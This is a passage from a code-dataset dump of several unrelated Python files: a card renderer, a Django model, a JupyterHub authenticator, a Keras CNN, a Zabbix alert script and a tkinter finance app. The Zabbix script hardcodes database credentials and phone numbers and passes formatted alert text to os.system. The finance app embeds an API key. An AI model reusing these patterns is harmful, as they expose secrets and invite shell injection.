float=0,\n w: float=100,\n h: float=100,\n file: str=\"\") -> None:\n try:\n width, height = self.renderer.set_image_buffer(file)\n except FileNotFoundError:\n warnings.warn(\"Could not load file: {}\".format(file))\n return\n with self.renderer.translate(x, y):\n with self.renderer.scale(w/width, h/height):\n self.renderer.paint_image()\n\n def draw_text(self,\n id: str=None,\n x: float=0,\n y: float=0,\n w: float=-1.0, # By default, DON'T restrict w/h\n h: float=-1.0,\n text: str=\"\",\n color: Color=BLACK,\n font_name: str=\"Ubuntu\",\n font_size: int=16,\n align: str=\"left\",\n line_spacing: int=0,\n justify: bool=False,\n debug: bool=False,\n ):\n \"\"\"Draw the configured text widget on the canvas.\n \"\"\"\n # First, draw a debug box (if requested)\n if debug:\n self.draw_rect(x=x, y=y, w=w, h=h, color=Color(0.0, 1.0, 1.0, 1.0),\n stroke=True, fill=False)\n\n # Process the inputs\n text = text.replace(\"\\\\n\", \"\\n\")\n alignment = {\n \"left\": TextAlignment.Left,\n \"center\": TextAlignment.Center,\n \"right\": TextAlignment.Right,\n }[align] # TODO: Validate on the parser\n\n # Configure the text\n self.renderer.set_font(font_name, font_size)\n self.renderer.configure_text_layout(\n width=w, height=h,\n line_spacing=line_spacing,\n alignment=alignment,\n justify=justify,\n )\n self.renderer.set_color(*color)\n self.renderer.set_text(text)\n\n # Draw the text\n with self.renderer.translate(x, y):\n self.renderer.paint_text()\n\n def draw_table(self,\n id: str=None,\n data: []=None,\n x: float=0,\n y: float=0,\n w: float=100,\n padding_x: int=2,\n padding_y: int=2,\n color: Color=BLACK,\n border_color: Color=BLACK,\n font_name: str=\"Ubuntu\",\n font_size: int=16,\n ):\n # Load the data\n if not data:\n return\n data = json.loads(data)\n # TODO: Assert the table data is rectangular\n\n # Set the font\n self.renderer.set_font(font_name, font_size)\n\n # First pass to generate the column widths\n widths = [0] * len(data[0])\n for row in data:\n for i, text in enumerate(row):\n text = text.replace(\"\\\\n\", \"\\n\")\n self.renderer.set_text(text)\n self.renderer.configure_text_layout(\n width=w, height=-MAX_TABLE_LINES)\n this_w, _ = self.renderer.get_text_size()\n this_w += padding_x * 2\n widths[i] = max(this_w, widths[i])\n\n # Make the widths smaller until it fits\n widths = _scale_column_widths(widths, w)\n\n # Second pass to do rendering\n cursor_y = 0\n for i, row in enumerate(data):\n cursor_x = 0\n\n # calculate the height of this row\n height = 0\n for j, text in enumerate(row):\n self.renderer.set_text(text)\n self.renderer.configure_text_layout(\n width=widths[j], height=-MAX_TABLE_LINES)\n _, h = self.renderer.get_text_size()\n height = max(height, h)\n height += padding_y * 2\n\n for j, text in enumerate(row):\n # render the table cell\n self.draw_rect(x=x + cursor_x, y=y + cursor_y, w=widths[j],\n h=height, stroke=True, fill=False,\n color=border_color)\n # then render the text inside it\n self.draw_text(text=text,\n x=x + cursor_x + padding_x,\n y=y + cursor_y + padding_y,\n w=widths[j], h=height, color=color,\n font_name=font_name, font_size=font_size)\n cursor_x += widths[j]\n cursor_y += height\n\n def save(self):\n self.renderer.save(self.filename)\n\n\ndef render_string(layout, w, h, filename):\n # Parse the template\n instructions = parse(layout)\n\n # Based on the template, run the operations specified\n blorp = RenderInstance(filename, w, h)\n for cmd, attrs in instructions:\n func = {\n \"Image\": blorp.draw_image,\n \"Rect\": blorp.draw_rect,\n \"Text\": blorp.draw_text,\n \"Table\": blorp.draw_table,\n }[cmd]\n func(**attrs)\n\n # Save the card to file\n blorp.save()\n","sub_path":"squib.py","file_name":"squib.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"283642462","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\n# Create your models here.\nfrom django.db import models\n\nclass Todo(models.Model):\n\n title = models.CharField(max_length=100)\n\n description = models.TextField() \n\n created_at = models.DateTimeField(auto_now_add=True)\n\n is_completed = models.BooleanField(default = False)\n\n def __str__(self):\n\n \"\"\"A string representation of the model.\"\"\"\n\n return self.title\n","sub_path":"myproject/App/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"331719951","text":"\"\"\"\nThis authenticator uses GitHub organization membership to make authentication\nand authorization decisions.\n\"\"\"\nimport json\nimport os\nimport oauthenticator\nfrom tornado import gen\n\n\nclass LSSTLoginHandler(oauthenticator.CILogonLoginHandler):\n \"\"\"Request additional scope on CILogon token.\n\n Set skin to LSST.\n\n Use NCSA as identity provider.\n \"\"\"\n scope = ['openid', 'email', 'profile', 'org.cilogon.userinfo']\n skin = \"LSST\"\n idp = \"https://idp.ncsa.illinois.edu/idp/shibboleth\"\n\n\n# Enable the authenticator to spawn with additional information acquired\n# with token with larger-than-default scope.\nclass LSSTAuth(oauthenticator.CILogonOAuthenticator):\n \"\"\"Authenticator to use our custom environment settings.\n \"\"\"\n enable_auth_state = True\n _state = None\n _default_domain = \"ncsa.illinois.edu\"\n login_handler = LSSTLoginHandler\n\n @gen.coroutine\n def authenticate(self, handler, data=None):\n \"\"\"Change username to something more sane. The 'eppn' field will have\n a username and a domain. If the domain matches our default domain,\n just use the username; otherwise, use username prepended with a dot\n to the domain.\n \"\"\"\n userdict = yield super().authenticate(handler, data)\n if \"auth_state\" in userdict:\n if \"cilogon_user\" in userdict[\"auth_state\"]:\n user_rec = userdict[\"auth_state\"][\"cilogon_user\"]\n if \"eppn\" in user_rec:\n username, domain = user_rec[\"eppn\"].split(\"@\")\n if domain != self._default_domain:\n username = username + \".\" + domain\n userdict[\"name\"] = username\n return userdict\n\n @gen.coroutine\n def pre_spawn_start(self, user, spawner):\n # First pulls can be really slow for the LSST stack containers,\n # so let's give it a big timeout\n spawner.http_timeout = 60 * 15\n spawner.start_timeout = 60 * 15\n # The spawned containers need to be able to talk to the hub through\n # the proxy!\n spawner.hub_connect_port = int(os.environ['JLD_HUB_SERVICE_PORT'])\n spawner.hub_connect_ip = os.environ['JLD_HUB_SERVICE_HOST']\n # Set up memory and CPU upper/lower bounds\n memlim = os.getenv('LAB_MEM_LIMIT')\n if not memlim:\n memlim = '2G'\n memguar = os.getenv('LAB_MEM_GUARANTEE')\n if not memguar:\n memguar = '64K'\n cpulimstr = os.getenv('LAB_CPU_LIMIT')\n cpulim = 1.0\n if cpulimstr:\n cpulim = float(cpulimstr)\n cpuguar = 0.02\n cpuguarstr = os.getenv('LAB_CPU_GUARANTEE')\n if cpuguarstr:\n cpuguar = float(cpuguarstr)\n spawner.mem_limit = memlim\n spawner.cpu_limit = cpulim\n spawner.mem_guarantee = memguar\n spawner.cpu_guarantee = cpuguar\n # Persistent shared user volume\n volname = \"jld-fileserver-home\"\n homefound = False\n for v in spawner.volumes:\n if v[\"name\"] == volname:\n homefound = True\n break\n if not homefound:\n spawner.volumes.extend([\n {\"name\": volname,\n \"persistentVolumeClaim\":\n {\"claimName\": volname}}])\n spawner.volume_mounts.extend([\n {\"mountPath\": \"/home\",\n \"name\": volname}])\n # We are running the Lab at the far end, not the old Notebook\n spawner.default_url = '/lab'\n spawner.singleuser_image_pull_policy = 'Always'\n # Let us set the images from the environment.\n # Get (possibly list of) image(s)\n imgspec = os.getenv(\"LAB_CONTAINER_NAMES\")\n if not imgspec:\n imgspec = \"lsstsqre/jld-lab:latest\"\n imagelist = imgspec.split(',')\n if len(imagelist) < 2:\n spawner.singleuser_image_spec = imgspec\n else:\n spawner.singleuser_image_spec = imagelist[0]\n\n # Add extra configuration from auth_state\n if not self.enable_auth_state:\n return\n auth_state = yield user.get_auth_state()\n if auth_state:\n save_token = auth_state[\"access_token\"]\n auth_state[\"access_token\"] = \"[secret]\"\n self.log.info(\"auth_state: %s\", json.dumps(auth_state,\n indent=4,\n sort_keys=True))\n auth_state[\"access_token\"] = save_token\n if \"cilogon_user\" in auth_state:\n user_rec = auth_state[\"cilogon_user\"]\n sub = user_rec.get(\"sub\")\n if sub:\n uid = sub.split(\"/\")[-1] # Last field is UID\n spawner.environment['EXTERNAL_UID'] = uid\n # Might be nice to have a mixin to also get GitHub information...\n\n\nc.JupyterHub.authenticator_class = LSSTAuth\n","sub_path":"jupyterhub/sample_configs/cilogon/10-authenticator.py","file_name":"10-authenticator.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"503310167","text":"from .similarity import Similarity\nimport json\nimport numpy as np\nfrom collections import defaultdict\nfrom scipy import spatial\n\nclass VerseSimilarity(Similarity):\n def __init__(self, embeddingsfile, nodemapfile):\n super(Similarity,self).__init__()\n with open(nodemapfile, 'r') as filereader:\n self.nodemap = json.loads(filereader.readline())\n self.embeddings = np.fromfile(embeddingsfile, np.float32).reshape(len(self.nodemap), 128)\n \n def get_score(self, node1, node2):\n # Remove 'Q' from the QID\n key1 = node1[1:]\n key2 = node2[1:]\n # Fetch vectors for each Qnode\n idx1 = self.nodemap[key1] if key1 in self.nodemap else None\n idx2 = self.nodemap[key2] if key2 in self.nodemap else None\n # If both exist in the index, compute the similarity\n if idx1 and idx2:\n vec1 = self.embeddings[int(idx1)]\n vec2 = self.embeddings[int(idx2)]\n return 1 - spatial.distance.cosine(vec1, vec2)\n return 0\n","sub_path":"wikifier/similarity/verse_similarity.py","file_name":"verse_similarity.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"421847027","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param two ListNodes\n # @return the intersected ListNode\n def getIntersectionNode(self, headA, headB):\n if headA == None or headB == None:\n return None\n lenA = 0\n lenB = 0\n na = headA\n nb = headB\n while na:\n lenA += 1\n na = na.next\n while nb:\n lenB += 1\n nb = nb.next\n \n if lenA > lenB:\n lenD = lenA - lenB\n headL = headA\n headS = headB\n else:\n lenD = lenB - lenA\n headL = headB\n headS = headA\n \n while lenD:\n headL = headL.next\n lenD -= 1\n \n while headL != None and headL.val != headS.val:\n headL = headL.next\n headS = headS.next\n \n return headL\n \n","sub_path":"Leetcode 2014/1215 Intersection of Two Linked List.py","file_name":"1215 Intersection of Two Linked List.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"29568529","text":"#!/usr/local/bin/python2.7\n# _*_ coding:utf-8 _*_\n#\n# @Version : 1.2\n# @Time : 2018/12/16 21:45\n# @Author : Louis, Gary\n#\n\n\nimport time, sys, re, os, MySQLdb, MySQLdb.cursors\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n##### define parameters of connect to db\ndbip = \"172.25.80.22\"\ndbuser = \"zabbix\"\ndbpassword = \"zabbix\"\ndbdatabase = \"zabbix\"\nselfchecking = 1\nadmin = [\"13681949855\",\"13816080879\"]\nlogstatus = 1\nlogpath = \"/opt/zabbix/logs/convergence.log\"\n\n##### send channel\nsms = 1\nemail = 0\nwechat = 0\n\n##### define log class begin\nclass Log():\n def __init__(self, logpath, logstatus):\n self.logfile = open(logpath,'a')\n self.logstatus = logstatus\n\n def writelog(self, *args):\n if self.logstatus == 1:\n format = \"%Y/%m/%d %H:%M:%S\"\n dt = time.strftime(format)\n log = \"%s\" % dt\n for i in args:\n log += \" {}\".format(i,)\n log += \"\\n\"\n return self.logfile.write(log)\n else:\n return\n\n def close(self):\n return self.logfile.close()\n\n\n##### define db class begin\nclass DB():\n def __init__(self, dbip, dbuser, dbpassword, dbdatabase):\n self.db = MySQLdb.connect(dbip, dbuser, dbpassword, dbdatabase, charset=\"utf8\", cursorclass=MySQLdb.cursors.DictCursor)\n self.cur = self.db.cursor()\n\n def exe_sql(self, sql):\n self.cur.execute(sql)\n return self.cur.fetchall()\n\n def exe_sqlup(self, sql):\n self.cur.execute(sql)\n return self.db.commit()\n\n def check_count(self):\n self.cur.execute('select count(*) as count from zabbix_con where isdelete in (\"0\",\"1\")')\n count = self.cur.fetchall()\n return int(count[0].get(\"count\"))\n\n def send_msg(self, rs, log):\n for i in rs:\n log.writelog(i)\n title = i.get(\"subject_name\")\n try:\n value = str(i.get(\"item_values\").encode('utf-8')).split(\":\")[1].rstrip('\\r')\n except Exception as e:\n log.writelog(\"con_warning:\", e)\n value = i.get(\"item_values\")\n try:\n role = str(i.get(\"item_values\").encode('utf-8')).split(\":\")[0].split(\"_\")[-1].rstrip(')')\n except Exception as e:\n log.writelog(\"con_warning\", e)\n role = \"Unknown\"\n if i.get(\"count\") > 1:\n msg = \"<= 告警收敛 =>\\n项目:%s\\n触发器:%s\\n异常主机:%s台\\n当前状态:%s\\n采集时间:%s\" % (i.get(\"subject_name\"), i.get(\"inner_trigger\"), str(i.get(\"count\")), i.get(\"trigger_status\"), str(i.get(\"analyze_time\")))\n else:\n msg = \"项目:%s\\n触发器:%s\\n异常主机:%s台\\n主机角色:%s\\n主机地址:%s\\n当前状态:%s\\n监控值:%s\\n采集时间:%s\" % (i.get(\"subject_name\"), i.get(\"inner_trigger\"), str(i.get(\"count\")), role, i.get(\"ip\"), i.get(\"trigger_status\"), value, str(i.get(\"analyze_time\")))\n log.writelog(\"##### 告警内容\\n\" + msg)\n\n if sms == 1:\n log.writelog(\"##### 通过短信渠道发送中...\")\n sql_sms = \"select sendto from useridphone where userid in (select userid from actioniduserid where name='%s')\" % (title)\n send_list_sms = self.exe_sql(sql_sms)\n log.writelog(send_list_sms)\n #send_list_sms = [\"13681949855\",\"13816080879\"]\n for j in send_list_sms:\n os.system(\"/opt/zabbix/share/zabbix/alertscripts/sms.sh %s \\\"%s\\\"\" % (j.get(\"sendto\"), msg))\n #os.system(\"/opt/zabbix/share/zabbix/alertscripts/sms.sh %s \\\"%s\\\"\" % (j, msg))\n\n if email == 1:\n #log.writelog(\"##### 通过邮件渠道发送...\")\n sql_email = \"select sendto from useridmail where userid in (select userid from actioniduserid where name='%s')\" % (title)\n send_list_email = self.exe_sql(sql_email)\n #log.writelog(send_list_email)\n for j in send_list_email:\n os.system(\"/opt/zabbix/share/zabbix/alertscripts/msmtp.sh %s \\\"%s\\\" \\\"%s\\\"\" % (j.get(\"sendto\"), title + \"监控邮件\", msg))\n\n if wechat == 1:\n pass\n return\n\n def close(self):\n return self.db.close()\n\n\nif __name__ == '__main__':\n log=Log(logpath,logstatus)\n log.writelog(\"========== 连接数据库,开始任务 ==========\")\n db = DB(dbip, dbuser, dbpassword, dbdatabase)\n trigger_count = db.check_count()\n log.writelog(\"##### 待发送数量:\", trigger_count)\n if trigger_count > 0:\n upsql = 'update zabbix_con set isdelete=\"1\" where isdelete=\"0\"'\n upsql2 = 'update zabbix_con set isdelete=\"2\" where isdelete=\"1\"'\n sql = 'select subject_name,inner_trigger,trigger_status,analyze_time,ip,item_values,isdelete,count(*) AS \"count\" from zabbix_con where isdelete=\"1\" group by subject_name,inner_trigger,trigger_status ORDER BY analyze_time'\n try:\n log.writelog(\"##### 开始更改isdelete状态为1\")\n db.exe_sqlup(upsql)\n log.writelog(\"##### 完成更改isdelete状态为1\")\n rs = db.exe_sql(sql)\n #log.writelog(rs)\n log.writelog(\"##### 开始发送告警\")\n db.send_msg(rs,log)\n log.writelog(\"##### 告警发送完成\")\n log.writelog(\"##### 开始更改isdelete状态为2\")\n db.exe_sqlup(upsql2)\n log.writelog(\"##### 完成更改isdelete状态为2\")\n except Exception as e:\n log.writelog(\"con_error:\", e)\n else:\n log.writelog(\"##### 没有待发送的告警\")\n db.close()\n log.writelog(\"========== 关闭数据库连接,结束任务 ==========\")\n log.close()\n \n\n ##### SELF-CHECKING\n if selfchecking == 1:\n command_error = \"tail -500 \" + logpath + \" | awk \\'{time=strftime(\\\"%T\\\",systime()-60);if($2>time){print}}\\' | grep con_error\"\n command_warning = \"tail -500 \" + logpath + \" | awk \\'{time=strftime(\\\"%T\\\",systime()-60);if($2>time){print}}\\' | grep con_warning\"\n if os.system(command_error) == 0:\n for i in admin:\n os.system(\"/opt/zabbix/share/zabbix/alertscripts/sms.sh %s \\\"告警收敛自检:\\n【灾难】con_error,功能执行异常\\\"\" % i)\n if os.system(command_warning) == 0:\n for i in admin:\n os.system(\"/opt/zabbix/share/zabbix/alertscripts/sms.sh %s \\\"告警收敛自检:\\n【警告】con_waning,字段切割异常\\\"\" % i)\n","sub_path":"zabbix_alert_con.py","file_name":"zabbix_alert_con.py","file_ext":"py","file_size_in_byte":6543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"77331871","text":"# -*- coding: utf-8 -*-\n__author__ = 'Rainer Arencibia'\n\"\"\"\nMIT License\n\nCopyright (c) 2016 Rainer Arencibia\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\nfrom IPython.display import SVG\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nfrom keras.layers.core import Activation, Flatten, Dense, Dropout\nfrom keras.models import Sequential\nfrom keras.utils.visualize_util import model_to_dot\nfrom keras.utils.visualize_util import plot\nfrom keras.optimizers import SGD, Adagrad, Adadelta, Adam\n\nclass NN:\n def __init__(self):\n pass\n\n @staticmethod\n def build(width, height, depth, classes, weights_path=None):\n \"\"\"\n :param width: the width of the input images\n :param height: the height of the input images\n :param depth: the depth of the input images\n :param classes: the numbers of labels\n :param weights_path: URL of an already trained model.\n :return: a train model.\n \"\"\"\n # initialize the model..\n model = Sequential()\n\n # first set of CONV => RELU => POOL\n model.add(Convolution2D(32, 5, 5, border_mode=\"same\", bias=True, input_shape=(depth, height, width)))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n # second set of CONV => RELU => POOL => Dropout\n model.add(Convolution2D(64, 5, 5, border_mode=\"same\", bias=True))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n model.add(Dropout(0.25))\n\n # set of FC => RELU layers\n model.add(Flatten()) # convert convolutional filters to flatt so they can be feed to fully connected layers\n\n # first fully connected layer\n model.add(Dense(400, init='lecun_uniform', bias=True)) # init='glorot_uniform'\n model.add(Activation(\"relu\"))\n model.add(Dropout(0.25))\n\n # second fully connected layer.. softmax classifier\n model.add(Dense(classes, init='lecun_uniform', bias=True))\n model.add(Activation(\"softmax\"))\n\n # if a weights path is supplied (indicating that the model was pre-trained), then load the weights.\n if weights_path is not None:\n model.load_weights(weights_path)\n\n SVG(model_to_dot(model).create(prog='dot', format='svg'))\n plot(model, to_file='/home/rainer85ah/Desktop/source/model.jpg', show_shapes=False, show_layer_names=True)\n print(\"Check.. '/home/rainer85ah/Desktop/source/model.jpg' file.\")\n\n \"\"\"\n In my own experience, Adagrad / Adadelta are \"safer\" because they don't depend so strongly on setting of\n learning rates(with Adadelta being slightly better), but well - tuned SGD + Momentum almost always\n converges faster and at better final values.\n\n Adadelta is a gradient descent based learning algorithm that adapts the learning rate per parameter over time.\n Adadelta It is similar to rmsprop and can be used instead of vanilla SGD.\n opt = Adadelta(lr=1.0, rho=0.95, epsilon=1e-08)\n \"\"\"\n sgd = SGD(lr=0.1, decay=1e-6, momentum=0.9, nesterov=True)\n model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n\n return model\n","sub_path":"source/Classification/NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"69592476","text":"#!/usr/bin/env python\n# Author: Yuldashev Egor\n# Date: 12.08.2019\n\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox as mb\nimport sqlite3\nimport requests\nimport os\nimport re\nfrom calendar import monthrange\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom matplotlib.ticker import MultipleLocator\nfrom CustomWidgets import Tooltip, GradientFrame\n\nmpl.use('TkAgg')\nmpl.rcParams.update({'font.size': 8})\nmpl.rcParams['figure.facecolor'] = '#d7d8e0'\n\nNAME_MONTHS = ('январь', 'февраль', 'март',\n 'апрель', 'май', 'июнь',\n 'июль', 'август', 'сентябрь',\n 'октябрь', 'ноябрь', 'декабрь')\n\nBACKGROUND = '#d7d8e0'\n\nCUR_DIR = os.getcwd()\nURL_PATH = CUR_DIR + '\\widget_drawings\\\\'\n\n\nclass Main(tk.Frame):\n def __init__(self, root):\n super().__init__(root)\n self.init_main()\n self.db = db\n self.view_records()\n\n def init_main(self):\n toolbar = tk.Frame(bg=BACKGROUND)\n toolbar.pack(side=tk.TOP, fill=tk.X)\n\n self.add_img = tk.PhotoImage(file=URL_PATH + 'add.png')\n btn_open_dialog = tk.Button(toolbar, command=self.open_add_dialog, bg=BACKGROUND, bd=0,\n compound=tk.TOP, image=self.add_img)\n btn_open_dialog.pack(side=tk.LEFT, padx=15)\n Tooltip(btn_open_dialog, text='Добавить позицию', wraplength=400)\n\n self.update_img = tk.PhotoImage(file=URL_PATH + 'edit.png')\n btn_edit_dialog = tk.Button(toolbar, command=self.open_edit_dialog, bg=BACKGROUND, bd=0,\n compound=tk.TOP, image=self.update_img)\n btn_edit_dialog.pack(side=tk.LEFT, padx=15)\n Tooltip(btn_edit_dialog, text='Редактировать позицию', wraplength=400)\n\n self.delete_img = tk.PhotoImage(file=URL_PATH + 'delete.png')\n btn_delete = tk.Button(toolbar, command=self.delete_records, bg=BACKGROUND, bd=0,\n compound=tk.TOP, image=self.delete_img)\n btn_delete.pack(side=tk.LEFT, padx=15)\n Tooltip(btn_delete, text='Удалить позицию ', wraplength=400)\n\n self.calculator_img = tk.PhotoImage(file=URL_PATH + 'count.png')\n btn_calculate = tk.Button(toolbar, command=self.open_calculate_dialog, bg=BACKGROUND, bd=0,\n compound=tk.TOP, image=self.calculator_img)\n btn_calculate.pack(side=tk.LEFT, padx=15)\n Tooltip(btn_calculate, text='Анализ финансов', wraplength=400)\n\n self.find_img = tk.PhotoImage(file=URL_PATH + 'find.png')\n btn_find = tk.Button(toolbar, command=self.open_find_dialog, bg=BACKGROUND, bd=0,\n compound=tk.TOP, image=self.find_img)\n btn_find.pack(side=tk.LEFT, padx=15)\n Tooltip(btn_find, text='Поиск...', wraplength=400)\n\n self.exit_img = tk.PhotoImage(file=URL_PATH + 'exit.png')\n btn_exit = tk.Button(toolbar, command=on_closing, bg=BACKGROUND, bd=0,\n compound=tk.TOP, image=self.exit_img)\n btn_exit.pack(side=tk.LEFT, padx=15)\n Tooltip(btn_exit, text='Выйти', wraplength=400)\n\n main = tk.Frame()\n main.pack(side=tk.TOP, fill=tk.X)\n\n self.tree = ttk.Treeview(main, columns=(\"ID\", \"month\", \"description\", 'costs', 'total'),\n height=15, show='headings')\n self.tree.column(\"ID\", width=40, minwidth=40, anchor=tk.CENTER)\n self.tree.column(\"month\", width=100, minwidth=100, anchor=tk.CENTER)\n self.tree.column(\"description\", width=240, minwidth=240, anchor=tk.CENTER)\n self.tree.column(\"costs\", width=150, minwidth=150, anchor=tk.CENTER)\n self.tree.column(\"total\", width=100, minwidth=100, anchor=tk.CENTER)\n\n self.tree.heading(\"ID\", text=\"ID\")\n self.tree.heading(\"month\", text=\"Дата\")\n self.tree.heading(\"description\", text=\"Наименование\")\n self.tree.heading(\"costs\", text=\"Статья дохода/расхода\")\n self.tree.heading(\"total\", text=\"Сумма\")\n\n self.tree.pack(side=tk.LEFT)\n\n self.tree.bind('',\n lambda event: 'break' if self.tree.identify_region(event.x, event.y) == 'separator' else True)\n\n scroll_tree_y = ttk.Scrollbar(main, orient='vertical', command=self.tree.yview)\n\n scroll_tree_y.pack(side=tk.LEFT, fill=tk.Y)\n\n self.tree.configure(yscrollcommand=scroll_tree_y.set)\n\n bottom = tk.Frame()\n bottom.pack(side=tk.TOP, fill=tk.X)\n\n api_id = 'bbb5bbb31f1d46b9aa801e1f19141469'\n api_url = 'https://openexchangerates.org/api/latest.json'\n params = {\n 'app_id': api_id,\n 'base': 'USD',\n }\n try:\n res = requests.get(api_url, params=params)\n if res.status_code == 200:\n data = res.json()\n usd = data['rates']['RUB']\n eur = data['rates']['RUB'] / data['rates']['EUR']\n tk.Label(bottom, text=f'''Курс ЦБ:\\n1 доллар = {usd:0.2f}р\\n1 евро = {eur:0.2f} р''',\n justify=tk.LEFT).pack(\n side=tk.LEFT)\n except:\n tk.Label(bottom, text=f\"Для получения информации о курсе валют включите интернет\", justify=tk.LEFT).pack(\n side=tk.LEFT)\n\n def records(self, description, costs, total):\n if costs == 'Расход':\n total = -float(total)\n self.db.insert_data(description, costs, total)\n self.view_records()\n\n def update_record(self, description, costs, total):\n if costs == 'Расход':\n total = -float(total)\n self.db.c.execute(\n '''UPDATE finance SET description = ?, costs= ?, total = ? WHERE ID = ?''',\n (description, costs, total, self.tree.set(self.tree.selection()[0], '#1')))\n self.db.conn.commit()\n self.view_records()\n\n def view_records(self):\n self.db.c.execute('''SELECT * FROM finance''')\n for i in self.tree.get_children():\n self.tree.delete(i)\n for row in self.db.c.fetchall():\n self.tree.insert('', 'end', value=row)\n\n def open_add_dialog(self):\n Add()\n\n def open_edit_dialog(self):\n num_position = len(self.tree.selection())\n if num_position == 1:\n Update()\n elif num_position == 0:\n mb.showerror('Некоректный выбор', \"Вы не выбрали поле для редактирования!\")\n else:\n mb.showerror('Некоректный выбор', \"Вы выбрали слишком много полей для редактирования!\\n\"\n \"Выберете одно поле!\")\n\n def open_calculate_dialog(self):\n # try:\n FinanceAnalyzer()\n\n # except:\n # mb.showerror('Ошибка', \"В таблице нет никаких данных!\\n\"\n # \"Добавьте позию|\")\n # root.wm_attributes(\"-disabled\", False)\n\n def open_find_dialog(self):\n # пока ничего нет\n pass\n\n def delete_records(self):\n num_position = len(self.tree.selection())\n if num_position:\n answer = mb.askokcancel(title='Household finance', message='Удалить выделенные позции?')\n if answer:\n for selection_item in self.tree.selection():\n self.db.c.execute('''DELETE FROM finance WHERE id=?''', (self.tree.set(selection_item, '#1'),))\n self.db.conn.commit()\n self.view_records()\n else:\n mb.showerror('Некоректный выбор', \"Выберете поля для удаления\")\n\n\nclass Add(tk.Toplevel):\n def __init__(self):\n super().__init__(root)\n self.init_add()\n self.view = app\n\n def init_add(self):\n\n self.geometry('400x220+{}+{}'.format(w - 200, h - 110))\n self.resizable(False, False)\n self.overrideredirect(True)\n\n root.attributes('-alpha', 0.85)\n root.wm_attributes(\"-disabled\", True)\n\n self.background = GradientFrame(self, color_up='#9FAFAF', color_dw='#EEEEEE', width=440, height=220)\n self.background.pack(fill=\"both\", expand=True)\n\n self.background.create_text(120, 60, text=\"Наименование:\") # label_description\n self.background.create_text(120, 90, text=\"Статья дохода/расхода:\") # label_select\n self.background.create_text(120, 120, text=\"Сумма:\") # label_sum\n self.background.create_text(195, 118, text=\"\", tag='sign', font='Bold 14') # label_sum\n\n self.entry_description = ttk.Entry(self)\n self.entry_description.place(x=200, y=50)\n\n vcmd = (self.register(self.check_values))\n self.entry_money = ttk.Entry(self, validate='all', validatecommand=(vcmd, '%P'))\n self.entry_money.place(x=200, y=110)\n\n self.combobox = ttk.Combobox(self, values=[u\"Доход\", u'Расход'], width=17, state='readonly')\n self.combobox.current(0)\n self.combobox.place(x=200, y=80)\n self.combobox.bind('<>', self.add_sign)\n\n btn_cancel = ttk.Button(self, text=\"Закрыть\", command=self.close_window)\n btn_cancel.place(x=300, y=170)\n self.btn_add = ttk.Button(self, text='Добавить')\n self.btn_add.place(x=200, y=170)\n self.btn_add.bind('', self.add_position)\n\n # запрет взаимодействия с главным окном\n self.grab_set()\n self.focus_set()\n\n def check_values(self, P):\n try:\n if float(P) and P != '-':\n return True\n except ValueError:\n if P == '':\n return True\n return False\n\n def add_sign(self, event):\n if self.combobox.get() == 'Расход':\n self.background.itemconfig('sign', text='-')\n else:\n self.background.itemconfig('sign', text='')\n\n def add_position(self, event):\n if self.entry_description.get() and self.entry_money.get():\n self.view.records(self.entry_description.get(),\n self.combobox.get(),\n self.entry_money.get())\n\n mb.showinfo(\"Добавление\", \"Позиция успешно добавлена\")\n else:\n mb.showerror(\"Добавление\", \"Поля наименование и сумма не должны быть пустыми\")\n\n def close_window(self):\n root.attributes('-alpha', 1)\n root.wm_attributes(\"-disabled\", False)\n self.destroy()\n\n\nclass Update(Add):\n\n def __init__(self):\n super().__init__()\n self.init_edit()\n\n def init_edit(self):\n self.btn_add.destroy()\n selected_row = self.view.tree.set(self.view.tree.selection()[0])\n self.entry_description.insert(0, selected_row['description'])\n self.entry_money.insert(0, selected_row['total'].strip('-'))\n self.combobox.current(0 if selected_row['costs'] == 'Доход' else 1)\n self.background.itemconfig('sign', text='-' if '-' in selected_row['total'] else '')\n btn_edit = 